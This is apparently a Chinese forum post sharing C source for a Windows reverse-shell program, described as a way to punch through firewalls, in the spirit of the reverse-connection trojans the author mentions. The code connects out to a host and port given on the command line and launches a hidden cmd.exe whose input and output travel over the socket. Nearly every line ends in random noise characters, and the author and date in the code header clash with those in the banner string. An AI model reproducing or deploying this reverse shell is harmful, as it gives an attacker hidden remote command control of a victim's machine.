Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 MEOfVh  
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/* ============================== 88}04  
Rebound port in Windows NT [OFT!=.y &  
By wind,2006/7 `FK qVd  
===============================*/ X^C $|:  
#include W$` WkR  
#include `F~Fb S  
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#pragma comment(lib,"wsock32.lib") xM>dv5<E  
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void OutputShell(); "WqM<kLa  
SOCKET sClient; /x/W>J2  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; eTt{wn;6  
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void main(int argc,char **argv) ZRUAw,T*  
{ -./Y  
WSADATA stWsaData; +EZr@  
int nRet; we?t/YB=  
SOCKADDR_IN stSaiClient,stSaiServer; Q
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JV!}"[  
if(argc != 3) U}{\qs-zt  
{ !zxq9IhWR  
printf("Useage:\n\rRebound DestIP DestPort\n"); R~bLEo  
return; eh*F
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} d%Ku'Jy  
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WSAStartup(MAKEWORD(2,2),&stWsaData); CF5%&B  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $-)y59w"  
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stSaiClient.sin_family = AF_INET; [{J1b  
stSaiClient.sin_port = htons(0); &jDRRT3  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); tdC kvVE  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) u[!Ex=9W  
{ C,u;l~zz  
printf("Bind Socket Failed!\n"); .|K\1qGW0  
return; \)PS&Y8n  
} U4Pk^[,p1G  
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stSaiServer.sin_family = AF_INET; b*a}~1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); m>b i$Y  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); W*D*\E  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) GF
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{ /h@rLJ)o>  
printf("Connect Error!"); QpifO  
return; zyI4E\  
} ~0n9In%  
OutputShell(); "2@Ys*e  
} 3
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void OutputShell() o-t!z'\l
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{ B?_ujH80m  
char szBuff[1024]; #60<$HO:Z  
SECURITY_ATTRIBUTES stSecurityAttributes; ;D<rGkry  
OSVERSIONINFO stOsversionInfo; GG_A'eX:I  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :Ee5:S   
STARTUPINFO stStartupInfo; O4 Y;  
char *szShell; 
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PROCESS_INFORMATION stProcessInformation; hO:X\:G  
unsigned long lBytesRead; FdJC@Y-#uA  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); RwwX;I"o%  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); wwmODw<tT  
stSecurityAttributes.lpSecurityDescriptor = 0; DSHpM/7  
stSecurityAttributes.bInheritHandle = TRUE; 5*>3(U  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]t3 NA*mM  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); P.1iuZ "w  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `P4qEsZE>`  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 63- YWhs;  
stStartupInfo.wShowWindow = SW_HIDE; =
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stStartupInfo.hStdInput = hReadPipe; z*>CP  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Q-&]Vg  
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GetVersionEx(&stOsversionInfo); {1YT a:evl  
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switch(stOsversionInfo.dwPlatformId) Vt
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{
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case 1: M+^K,  
szShell = "command.com";  )Bk?"q  
break; ~K],hi^<P  
default: ?\F,}e  
szShell = "cmd.exe"; 90aPIs-  
break; cCV"(Oo[H|  
} +msHQk5#$m  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0_D~n0rq,v  
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send(sClient,szMsg,77,0); rrwsj`  
while(1) D#t5*bwK  
{ sqZHk+<%  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); BtHvfoT  
if(lBytesRead) M9OFK\)  
{ =OZ_\vO  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >;3c;nf  
send(sClient,szBuff,lBytesRead,0); /l$noaskX  
} usTCn3u  
else 0~1P&Qs<  
{ B=c^ma
  
lBytesRead=recv(sClient,szBuff,1024,0); .RWBn~b#I  
if(lBytesRead<=0) break; tl^[MLQa  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &s<  
} [sk"2  
} _gGy(`  
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return; L2h+[f  
}